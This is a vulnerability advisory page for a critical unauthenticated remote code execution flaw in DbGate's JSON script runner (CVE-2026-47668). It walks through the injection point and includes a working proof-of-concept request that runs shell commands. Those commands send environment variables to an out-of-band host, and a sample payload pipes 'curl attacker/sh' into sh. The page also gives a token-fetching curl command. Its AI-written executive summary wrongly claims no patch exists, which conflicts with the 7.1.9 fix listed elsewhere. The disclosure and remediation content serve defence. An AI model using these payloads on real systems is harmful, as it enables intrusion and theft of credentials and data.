Skip to main content

DbGate CVE-2026-47668

| EUVDEUVD-2026-48340 CRITICAL
Improper Input Validation (CWE-20)
2026-06-05 https://github.com/dbgate/dbgate GHSA-8v3q-9vmx-36vc
10.0
CVSS 3.1 · Vendor: https://github.com/dbgate/dbgate
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Discover exposed DbGate on port 3000
  2. Delivery
    Obtain bearer token via /auth/login (default Anonymous auth)
  3. Exploit
    POST /runners/start with malicious functionName in assign command
  4. Install
    Injected JS written to temp file and child_process.fork() executed
  5. C2
    process.mainModule.require bypasses require=null sandbox
  6. Execute
    execSync runs attacker shell command as DbGate user
  7. Impact
    Pivot to managed databases and host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Required: network reachability to the DbGate HTTP API (default port 3000) and the ability to POST JSON to /runners/start with script.type == 'json' containing an assign command. No user interaction, no special platform, no non-default feature toggle - the JSON runner is core functionality and the vulnerable code path explicitly bypasses the run-shell-script permission check and the allowShellScripting flag. Authentication is gated by the deployment's configured authProvider: if the operator has NOT explicitly set authentication via environment variables (the documented default state, including the standard Docker image), the endpoint is reachable unauthenticated and a token can additionally be obtained from /auth/login with {"amoid":"none"}; if an authProvider has been explicitly configured, any account with API access can still trigger the bug (CVSS 9.9, PR:L). Limiting factor: instances fronted by an external authenticating reverse proxy that blocks unauthenticated POSTs to /runners/* would prevent unauthenticated exploitation.

Impact

All risk signals align toward high priority. CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H scores 10.0 for the default Anonymous-auth deployment (9.9 with PR:L when auth is enforced) - network-reachable, low complexity, no user interaction, scope-changed full CIA loss. SSVC-style reading: exploitation is functional and automatable (a single HTTP POST with a JSON body), technical impact is total (arbitrary Node.js execution with the dbgate process's privileges, typically root in the official Docker image per the leaked env), and a runZeroInc Nuclei template plus a working PoC are publicly referenced. EPSS and CISA KEV data were not provided in the input - absence of a KEV listing is not confirmation that exploitation is or is not occurring, only that no CISA entry was supplied. Note one caveat: the advisory text states 'A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled' - i.e. unauthenticated RCE depends on the operator not having explicitly configured an auth provider via environment variables; hardened deployments drop to authenticated RCE for any API user.

Exploit ScenarioDerived

An attacker scans the internet for DbGate instances on port 3000 (the publicly available runZeroInc Nuclei template automates this) and, against a default Docker deployment with Anonymous auth, optionally calls /auth/login to obtain a bearer token, then sends a single POST /runners/start with a JSON script whose assign command's functionName is x;process.mainModule.require('child_process').execSync('curl attacker/sh|sh');//. DbGate writes the generated JS to a temp file, forks a Node.js child process, and executes the attacker's command as the DbGate service user (root in the official container), giving full code execution and credentialed access to every database DbGate is configured to manage.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 05, 2026

Unauthenticated remote code execution in DbGate (npm package dbgate-serve, versions <= 7.1.8) lets remote attackers execute arbitrary Node.js code by injecting JavaScript through the functionName parameter of the POST /runners/start JSON script runner. Default Docker deployments ship with Anonymous authentication enabled, making this exploitable without credentials (CVSS 10.0), and a public Nuclei template plus detailed PoC mean publicly available exploit code exists even though no CISA KEV listing was identified at time of analysis.

RemediationAI

Vendor-released patch: upgrade dbgate-serve to 7.1.9 or later (https://github.com/dbgate/dbgate/releases/tag/v7.1.9), which is the only complete fix since the same unsanitised interpolation pattern affects both functionName and variableName in POST /runners/start as well as functionName in POST /runners/load-reader. If immediate upgrade is impossible, prevent network reachability to the runner endpoints by placing DbGate behind an authenticating reverse proxy and explicitly configuring a non-Anonymous authProvider via environment variables (side effect: any user with API access can still trigger the authenticated variant, so combine with least-privilege accounts); additionally block external access to /runners/start and /runners/load-reader at the proxy layer (side effect: legitimate scripting/automation workflows will break) and bind DbGate to localhost only where remote use is not required. Hunt for indicators by reviewing the runner job directory under ~/.dbgate/run/ and the logJsonRunnerScript output for assign commands containing semicolons or process.mainModule.require in functionName/variableName values. Full details: https://github.com/advisories/GHSA-8v3q-9vmx-36vc.

Affected VersionsENISA

dbgate < 7.1.9

Affected Packages

npm dbgate-serve fix: 7.1.9
euvd dbgate fix: 7.1.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

DbGate is an open-source, web-based database management tool distributed via npm as dbgate-serve and commonly deployed as a Docker container. The flaw is a CWE-20 (Improper Input Validation) leading to a classic code injection (CWE-94 class). In packages/tools/src/ScriptWriter.ts, assignCore() builds JavaScript source via string concatenation: const ${variableName} = await ${functionName}(${JSON.stringify(props)});. The compileShellApiFunctionName() helper only rearranges namespace prefixes and does not sanitize the value, so attacker-controlled functionName content (e.g. x;payload;//) becomes syntactically valid JS that is then written to a temp file and executed by child_process.fork(), yielding a full Node.js runtime. The JSON code path also bypasses the run-shell-script permission check and the allowShellScripting platform flag, and the in-script require = null sandbox is trivially bypassed via process.mainModule.require() or module.constructor._load().

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/dbgate/dbgate) PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/dbgate/dbgate) · only source for this CVE.

CVSS VectorVendor: https://github.com/dbgate/dbgate

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.

Details

Step 1: User Input Entry Point

File: packages/api/src/controllers/runners.js - start() method

The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:

javascript
async start({ script }, req) {
    if (script.type == 'json') {
        if (!platformInfo.isElectron) {
            if (!checkSecureDirectoriesInScript(script)) {
                return { errorMessage: 'Unallowed directories in script' };
            }
        }
        logJsonRunnerScript(req, script);
        const js = await jsonScriptToJavascript(script);
        return this.startCore(runid, scriptTemplate(js, false));
    }

This path skips:

  1. The run-shell-script permission check
  2. The allowShellScripting platform-level check

The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values

---

Step 2: JSON-to-JavaScript Conversion (Injection Point)

File: packages/tools/src/ScriptWriter.ts - assignCore() method

The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:

typescript
assignCore(variableName, functionName, props) {
    this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}

Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.

---

Step 3: Function Name Compilation

File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()

Before interpolation, functionName passes through this function:

typescript
export function compileShellApiFunctionName(functionName) {
    const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
    if (nsMatch) {
        return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
    }
    return `dbgateApi.${functionName}`;
}

An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:

dbgateApi.x;MALICIOUS_CODE;//

This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.

---

Step 4: Generated JavaScript Template

The complete generated script that gets executed:

javascript
const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
    const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
    await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);
Step 5: Execution via child_process.fork()

File: packages/api/src/controllers/runners.js - startCore() method

The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.

The require = null sandbox can be bypassed via:

  • process.mainModule.require() - separate reference unaffected by the null assignment
  • module.constructor._load() - internal module loader, also unaffected

---

Additional Injection Points

The same unsanitised string interpolation pattern exists in:

EndpointParameterFile
POST /runners/startfunctionName in assign commandsScriptWriter.ts - assignCore()
POST /runners/startvariableName in assign commandsScriptWriter.ts - assignCore()
POST /runners/load-readerfunctionName parameterScriptWriter.ts - loaderScriptTemplate

PoC

http
POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json

{
  "script": {
    "type": "json",
    "commands": [
      {
        "type": "assign",
        "variableName": "x",
        "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
        "props": {}
      }
    ],
    "packageNames": []
  }
}

The request to the out of band host was as follows:

http
POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251

NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c

---

A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:

bash
curl -sk -H "Content-Type: application/json"   -d '{"amoid":"none"}'   <dbgate-instance>:3000/auth/login

Impact

ScenarioImpactCVSS ScoreCVSS Vector
Anonymous auth mode (default deployment) (authProvider: "Anonymous")Unauthenticated RCE10.0CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authenticated deploymentAuthenticated RCE - any user with API access9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Timeline

DateEvent
2026-03-31Vulnerability discovered
2026-04-07Advisory report prepared and submitted to maintainer
2026-04-22Fix released (v7.1.9)
2026-04-24Maintainer acknowledgment
2026-05-20Public disclosure

Acknowledgements

  • Discovery assisted by Neo from @ProjectDiscovery
  • Initial research direction inspired by @H0j3n - https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml

Executive ViewAI

Why It Matters

DbGate (dbgate-serve npm package ≤7.1.8) exposes a critical unauthenticated remote code execution vulnerability affecting organizations with default Docker deployments, which ship with anonymous authentication enabled. Public exploit code is available and requires no credentials to trigger, placing database management infrastructure and downstream data at immediate risk. The absence of a vendor patch requires urgent defensive action to prevent compromise.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable Anonymous authentication in all DbGate instances; require strong credentials for all users; (2) Restrict network access to DbGate via firewall rules to authorized administrator IP ranges only; (3) Deploy WAF rules blocking POST /runners/start requests containing unexpected functionName parameters; (4) Enable audit logging on all database access, queries, and data export operations; (5) Monitor logs for suspicious POST requests to /runners/start endpoint; (6) Consider offboarding DbGate from production until patch is available.

Threat Intelligence Overview

EPSS Score
0.3%
Top 43% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
5
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

70
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy